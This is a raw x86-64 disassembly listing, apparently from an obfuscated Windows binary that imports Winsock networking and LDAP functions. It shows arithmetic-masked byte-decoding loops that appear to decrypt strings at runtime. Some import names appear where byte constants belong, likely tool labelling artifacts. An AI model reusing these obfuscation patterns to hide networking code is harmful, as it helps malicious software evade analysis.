sub bl, al
sub bl, 0x73
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x170], bl
add r8, r9
jmp 0x1400dcb8c
movzx r10d, dil
lea edx, [r10 + 0x4b]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xd
add r11b, dl
add r10b, 0x5b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x7d
add bl, r10b
mov byte [rbp + rdi + 0x170], bl
inc r9
dec rdi
inc rdi
jmp 0x1400dc104
lea ecx, [rdi - 0x1d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x35
dec rdi
inc rdi
jmp 0x1400dc104
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x53
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400dc104
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x71
movzx eax, byte [rbp + rdi + 0x170]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dc104
add dil, 0x21
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x19
jmp 0x1400dc100
add dil, 0x47
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0xf
jmp 0x1400dc0f0
lea rcx, [rbp + 0x14e0cac]
jmp 0x1400dcc1f
lea rcx, [rbp + 0x7f9e99]
jmp 0x1400dcc1f
lea rcx, [rbp + 0x170]
call fcn.140040a00
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_350], 0x23
mov byte [rbp + 0x231], 0xc1
mov byte [rbp + 0x232], gethostname
mov byte [rbp + 0x233], 0xdd
mov byte [rbp + 0x234], 0xde
mov byte [rbp + 0x235], Ordinal_217
mov byte [rbp + 0x236], 0xda
mov byte [rbp + 0x237], Ordinal_217
mov byte [rbp + 0x238], WSAStartup
mov byte [rbp + 0x239], Ordinal_60
mov byte [rbp + 0x23a], Ordinal_217
mov byte [rbp + 0x23b], Ordinal_41
mov byte [rbp + 0x23c], Ordinal_217
mov byte [rbp + 0x23d], Ordinal_217
mov byte [rbp + 0x23e], 0xcb
mov byte [rbp + 0x23f], Ordinal_217
mov byte [rbp + 0x240], 0x46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x241], xmm0
mov dword [rbp + 0x251], eax
mov word [rbp + 0x255], ax
movabs rsi, 0xf57b0d647e6b21cd
movabs r15, 0xb65d5dbf74edec9b
movabs r12, 0xcb6742f67817a901
movabs r14, 0xe071282d7b416567
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
mov edi, ebx
cmp rdi, 0x27
jae 0x1400dd861
movzx ebx, byte [rbp + rdi + 0x230]
mov rdx, rbx
nop dword [rax]
cmp r8, rdi
ja 0x1400dd858
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dcd4c
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x65
jmp 0x1400dcd92
je 0x1400dd7ee
inc rax
cmp r8, rax
je 0x1400dd798
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dd75a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dd700
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400dd6e1
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dd69b
cmp r9, rdi
ja 0x1400dd84f
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400dcdba
lea ecx, [rdi - 0x2f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x49
jmp 0x1400dce00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dd67f
inc rax
cmp r8, rax
je 0x1400dd660
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dd647
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dd62a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dd600
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400dd33e
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400dd31b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400dd2f4
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400dd2d5
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400dd2b7
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400dd29e
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x1400dd280
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dd262
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400dd249
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400dd21f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400dce10
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400dd834
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400dd819
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400dcff7
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400dcfde
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400dcfc5
lea rcx, [r9 + 0x28]
cmp r8, rcx
jb 0x1400dd1d6
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400dd18d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400dd150
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400dd12d
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400dce10
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400dd103
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400dd0ea
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400dd0d1
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400dd0b3
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400dd095
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400dd078
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400dd059
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400dd032
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400dd010
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400dce10
lea r8, [r9 + 9]
lea r9, [r8 + 0x2a]
jmp 0x1400dce10
lea ecx, [rdi + 0x4f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x29
jmp 0x1400dce00
lea ecx, [rdi - 0x4b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
jmp 0x1400dcd92
lea ecx, [rdi + 0x1b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x43
jmp 0x1400dcd16
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx r10d, dil
jmp 0x1400dd6b8
lea edx, [rdi - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400dcd04
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
dec rdi
inc rdi
jmp 0x1400dcd04
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
movzx r10d, dil
jmp 0x1400dd71d
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dd73e
lea edx, [rdi - 0x7a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dd741
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1400dd772
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x1400dd7b0
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
lea ecx, [rdi - 0x49]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec r11b
mov byte [rbp + rdi + 0x230], r11b
inc rdi
jmp 0x1400dcd04
lea ecx, [rdi + 0x1d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x35
cmp r9, 8
jb 0x1400dd140
movzx r10d, dil
lea edx, [r10 - 0x52]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400dd6b8
lea ecx, [rdi - 0x7d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x6b
cmp r8, 0x1000
jae 0x1400dd5b8
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400dd4dd
lea edx, [rdi - 0x56]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dd164
lea ecx, [rdi - 0x17]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400dd5db
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400dd442
lea edx, [rdi - 0x27]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x11
add r11b, dl
jmp 0x1400dd1a1
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x1400dd7b0
lea edx, [rdi - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dd772
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dd741
lea ecx, [rdi + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
jmp 0x1400dd73e
movzx r10d, dil
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x1400dd71d
lea ecx, [rdi + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
dec rdi
inc rdi
jmp 0x1400dcd04
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400dcd04
movzx r10d, dil
lea edx, [r10 + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dd6b8
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400dd360
lea ecx, [rdi - 0x33]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x65
jmp 0x1400dd1ea
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dd393
lea ecx, [rdi - 0x5e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
inc rax
cmp r8, rax
jne 0x1400dd3b9
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dd7b0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dd3e6
lea edx, [rdi + 0x3e]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400dcd04
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dd416
lea edx, [rdi - 0x28]
movzx eax, bl
and al, dl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400dcd04
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dd1ea
movzx r10d, dil
lea edx, [r10 + 0x72]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
jmp 0x1400dd6b5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dd46a
movzx r10d, dil
lea edx, [r10 + 0x73]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x25
jmp 0x1400dd6b5
inc rax
cmp r8, rax
jne 0x1400dd491
lea ecx, [rdi - 0x59]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x6f
dec rdi
inc rdi
jmp 0x1400dcd04
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dd4b3
lea ecx, [rdi - 0x25]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 3
jmp 0x1400dd73e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dd1a1
lea edx, [rdi + 0xf]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x69
add r11b, dl
jmp 0x1400dd772
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400dd515
lea edx, [rdi + 0x44]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dd53b
lea edx, [rdi + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400dd772
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400dd562
lea edx, [rdi - 0x54]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dd73e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dd58b
movzx r10d, dil
lea edx, [r10 + 0x46]
movzx eax, bl
and al, dl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dd71a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dd164
movzx r10d, dil
lea edx, [r10 + 0x14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dd6b5
movzx r10d, dil
lea edx, [r10 + 0x48]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x230]
sub cl, al
add cl, 4
lea r11d, [rcx + rcx]
jmp 0x1400dd71a
lea edx, [rdi - 0x1e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x230]
sub r11b, 0x2e
add r11b, dl
jmp 0x1400dd772
lea ecx, [rdi + 0x3b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x63
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
lea edx, [rdi + 7]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x31
add r11b, dl
jmp 0x1400dd772
lea ecx, [rdi - 0x2d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x3b
jmp 0x1400dd73e
lea ecx, [rdi - 0x61]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x59
dec rdi
inc rdi
jmp 0x1400dcd04
movzx r10d, dil
lea edx, [r10 + 0x6b]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x13
jmp 0x1400dd6b5
movzx r10d, dil
lea edx, [r10 + 0x37]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x7f
add r11b, dl
add r10b, 0x7b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x5d
add bl, r10b
mov byte [rbp + rdi + 0x230], bl
inc r9
dec rdi
inc rdi
jmp 0x1400dcd04
lea ecx, [rdi + 3]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x15
dec rdi
inc rdi
jmp 0x1400dcd04
movzx r10d, dil
lea edx, [r10 + 0x69]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x21
add r11b, dl
add r10b, 0x15
movzx eax, r10b
and al, bl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x6d
add cl, r10b
add cl, bl
mov byte [rbp + rdi + 0x230], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400dcd04
lea rcx, [rdi + r15]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3d
lea ecx, [rdi - 0x51]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x37
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x230], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400dd7b0
lea rcx, [rdi + r12]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 7
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x64
add cl, bl
mov byte [rbp + rdi + 0x230], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x2f
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dcd04
sub dil, 0x7f
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x79
jmp 0x1400dcd00
sub dil, 0x19
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x51
jmp 0x1400dccf0
lea rcx, [rbp + 0x17ab7ec]
jmp 0x1400dd868
lea rcx, [rbp + 0x125d9b9]
jmp 0x1400dd868
lea rcx, [rbp + 0x230]
call fcn.140040a00
call fcn.1400ec300
mov byte [rbp + 0x260], 0x5b
mov byte [rbp + 0x261], 0xb9
mov byte [rbp + 0x262], 0xab
mov byte [rbp + 0x263], 0xbd
mov byte [rbp + 0x264], 0xbe
mov byte [rbp + 0x265], 0xba
mov byte [rbp + 0x266], 0xa0
mov byte [rbp + 0x267], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x268], 0x54
mov byte [rbp + 0x269], 0xba
mov byte [rbp + 0x26a], 0xbe
mov byte [rbp + 0x26b], 0xbc
mov byte [rbp + 0x26c], 0xa7
mov byte [rbp + 0x26d], 0xb1
mov byte [rbp + 0x26e], 0xb3
mov byte [rbp + 0x26f], 0xbb
mov byte [rbp + 0x270], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x271], xmm0
mov dword [rbp + 0x281], eax
mov byte [rbp + 0x285], al
movabs rsi, 0x5ba2e4084b6c3829
movabs r15, 0x81743c3a0ff5891f
movabs r12, 0xca2e7429791d18cd
movabs r14, 0x12e8ac18e244a87b
movzx r10d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
mov edi, ebx
cmp rdi, 0x26
jae 0x1400de502
movzx r11d, byte [rbp + rdi + 0x260]
mov rdx, r11
nop word [rax + rax]
cmp r8, rdi
ja 0x1400de4f9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dd99c
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x1f
jmp 0x1400dd9e2
je 0x1400de48b
inc rax
cmp r8, rax
je 0x1400de42f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de3eb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400de392
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400de371
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400de329
cmp r9, rdi
ja 0x1400de4f0
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400dda0e
lea ecx, [rdi + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x1400dda50
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400de30d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de2ed
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400de2d4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400de2ba
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400de28f
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400ddf94
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ddf76
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ddf4e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ddf29
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ddf0b
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400ddef1
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400dded2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ddeb3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dde99
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400dde6e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400dda60
lea r8, [r9 + 9]
lea r9, [r8 + 1]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400de4d3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400de4b6
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400ddc3b
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400ddc21
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400ddc07
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400dde27
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400ddddf
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400ddda0
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400ddd7b
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400dda60
lea r8, [r9 + 0x400]
lea r9, [r8 + 3]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400ddd50
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400ddd31
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400ddd12
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400ddcf8
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400ddcde
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400ddcbb
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400ddc96
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400ddc73
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400ddc55
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400dda60
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x42]
jmp 0x1400dda60
lea ecx, [rdi + 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
jmp 0x1400dda50
lea ecx, [rdi - 0xf]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x69
jmp 0x1400dd9e2
lea ecx, [rdi - 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
jmp 0x1400dd967
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx ebx, dil
jmp 0x1400de346
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
inc r9
dec rdi
inc rdi
jmp 0x1400dd954
lea edx, [rdi + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400dd954
lea edx, [rdi - 0xe]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx ebx, dil
jmp 0x1400de3af
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400de3cf
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x1400de3d2
lea edx, [rdi - 4]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400de404
lea edx, [rdi - 0x56]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400de448
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rdi + 0x260]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd954
lea ecx, [rdi - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
mov byte [rbp + rdi + 0x260], r10b
inc rdi
jmp 0x1400dd954
lea ecx, [rdi + 0x39]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
cmp r9, 0xa
jb 0x1400ddd90
movzx ebx, dil
lea ecx, [rbx + 0x56]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400de346
lea ecx, [rdi - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
cmp r8, 0x41
jae 0x1400de250
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400de150
lea edx, [rdi + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400dddb5
lea ecx, [rdi - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400de273
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400de05f
lea ecx, [rdi - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x1400dddf4
lea ecx, [rdi + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
movzx eax, byte [rbp + rdi + 0x260]
